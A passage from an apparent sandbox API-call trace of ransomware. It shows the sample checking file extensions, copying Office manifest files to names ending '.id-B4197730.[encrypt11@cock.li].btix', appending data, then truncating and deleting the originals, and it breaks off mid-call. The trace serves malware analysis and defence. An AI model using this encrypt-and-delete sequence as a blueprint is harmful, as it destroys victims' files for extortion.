lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.608] lstrlenW (lpString=".pdf") returned 4 [0049.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.608] lstrlenW (lpString=".xls") returned 4 [0049.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.608] lstrlenW (lpString=".xlsx") returned 5 [0049.608] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.608] lstrlenW (lpString=".ppt") returned 4 [0049.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.609] lstrlenW (lpString=".zip") returned 4 [0049.609] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.609] lstrlenW (lpString=".rar") returned 4 [0049.609] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString=".bz2") returned 4 [0049.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString=".7z") returned 3 [0049.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.609] lstrlenW (lpString=".dbf") returned 4 [0049.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.609] lstrlenW (lpString=".1cd") returned 4 [0049.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.609] lstrlenW (lpString=".jpg") returned 4 [0049.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.609] lstrlenW (lpString=".doc") returned 4 [0049.609] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString=".docx") returned 5 [0049.609] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.609] lstrlenW (lpString=".pdf") returned 4 [0049.609] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString=".xls") returned 4 [0049.609] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString=".xlsx") returned 5 [0049.609] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.609] lstrlenW (lpString=".ppt") returned 4 [0049.609] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.609] lstrlenW (lpString=".zip") returned 4 [0049.609] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.610] lstrlenW (lpString=".rar") returned 4 [0049.610] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.610] lstrlenW (lpString=".bz2") returned 4 [0049.610] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.610] lstrlenW (lpString=".7z") returned 3 [0049.610] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.610] lstrlenW (lpString=".dbf") returned 4 [0049.610] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.610] lstrlenW (lpString=".1cd") returned 4 [0049.610] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.610] lstrlenW (lpString=".jpg") returned 4 [0049.610] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.610] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.610] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0049.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.611] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=1261) returned 1 [0049.611] CloseHandle (hObject=0x394) returned 1 [0049.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.611] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.611] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.612] GetLastError () returned 0x0 [0049.612] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.675] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.676] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.676] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.676] SetEndOfFile (hFile=0x32c) returned 1 [0049.676] CloseHandle (hObject=0x32c) returned 1 [0049.676] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.677] SetEndOfFile (hFile=0x394) returned 1 [0049.678] CloseHandle (hObject=0x394) returned 1 [0049.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0049.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.678] lstrlenW (lpString=".doc") returned 4 [0049.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.678] lstrlenW (lpString=".docx") returned 5 [0049.678] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.678] lstrlenW (lpString=".pdf") returned 4 [0049.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.678] lstrlenW (lpString=".xls") returned 4 [0049.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.678] lstrlenW (lpString=".xlsx") returned 5 [0049.678] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.678] lstrlenW (lpString=".ppt") returned 4 [0049.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.679] lstrlenW (lpString=".zip") returned 4 [0049.679] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.679] lstrlenW (lpString=".rar") returned 4 [0049.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString=".bz2") returned 4 [0049.679] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString=".7z") returned 3 [0049.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.679] lstrlenW (lpString=".dbf") returned 4 [0049.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.679] lstrlenW (lpString=".1cd") returned 4 [0049.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.679] lstrlenW (lpString=".jpg") returned 4 [0049.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.679] lstrlenW (lpString=".doc") returned 4 [0049.679] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString=".docx") returned 5 [0049.679] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.679] lstrlenW (lpString=".pdf") returned 4 [0049.679] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString=".xls") returned 4 [0049.679] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString=".xlsx") returned 5 [0049.679] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.679] lstrlenW (lpString=".ppt") returned 4 [0049.679] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.679] lstrlenW (lpString=".zip") returned 4 [0049.679] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.679] lstrlenW (lpString=".rar") returned 4 [0049.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.680] lstrlenW (lpString=".bz2") returned 4 [0049.680] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.680] lstrlenW (lpString=".7z") returned 3 [0049.680] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.680] lstrlenW (lpString=".dbf") returned 4 [0049.680] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.680] lstrlenW (lpString=".1cd") returned 4 [0049.680] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0049.680] lstrlenW (lpString=".jpg") returned 4 [0049.680] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.680] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.680] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0049.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.680] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=14913) returned 1 [0049.680] CloseHandle (hObject=0x394) returned 1 [0049.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.681] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.681] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.681] GetLastError () returned 0x0 [0049.681] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x3a41, lpOverlapped=0x0) returned 1 [0049.745] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x3a50, lpOverlapped=0x0) returned 1 [0049.746] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.746] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.747] SetEndOfFile (hFile=0x32c) returned 1 [0049.747] CloseHandle (hObject=0x32c) returned 1 [0049.747] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.748] SetEndOfFile (hFile=0x394) returned 1 [0049.748] CloseHandle (hObject=0x394) returned 1 [0049.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0049.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.749] lstrlenW (lpString=".doc") returned 4 [0049.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.749] lstrlenW (lpString=".docx") returned 5 [0049.749] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.749] lstrlenW (lpString=".pdf") returned 4 [0049.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.749] lstrlenW (lpString=".xls") returned 4 [0049.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.749] lstrlenW (lpString=".xlsx") returned 5 [0049.749] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.749] lstrlenW (lpString=".ppt") returned 4 [0049.749] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.749] lstrlenW (lpString=".zip") returned 4 [0049.749] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.749] lstrlenW (lpString=".rar") returned 4 [0049.749] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.749] lstrlenW (lpString=".bz2") returned 4 [0049.750] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString=".7z") returned 3 [0049.750] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.750] lstrlenW (lpString=".dbf") returned 4 [0049.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.750] lstrlenW (lpString=".1cd") returned 4 [0049.750] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.750] lstrlenW (lpString=".jpg") returned 4 [0049.750] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.750] lstrlenW (lpString=".doc") returned 4 [0049.750] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString=".docx") returned 5 [0049.750] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.750] lstrlenW (lpString=".pdf") returned 4 [0049.750] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString=".xls") returned 4 [0049.750] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString=".xlsx") returned 5 [0049.750] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.750] lstrlenW (lpString=".ppt") returned 4 [0049.750] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.750] lstrlenW (lpString=".zip") returned 4 [0049.750] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.750] lstrlenW (lpString=".rar") returned 4 [0049.751] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.751] lstrlenW (lpString=".bz2") returned 4 [0049.751] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.751] lstrlenW (lpString=".7z") returned 3 [0049.751] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.751] lstrlenW (lpString=".dbf") returned 4 [0049.751] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.751] lstrlenW (lpString=".1cd") returned 4 [0049.751] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0049.751] lstrlenW (lpString=".jpg") returned 4 [0049.751] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.751] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.751] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0049.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.751] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=65002) returned 1 [0049.751] CloseHandle (hObject=0x394) returned 1 [0049.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.752] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.752] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.752] GetLastError () returned 0x0 [0049.752] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xfdea, lpOverlapped=0x0) returned 1 [0049.796] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0049.797] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.798] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.798] SetEndOfFile (hFile=0x32c) returned 1 [0049.798] CloseHandle (hObject=0x32c) returned 1 [0049.800] SetFilePointerEx (in: 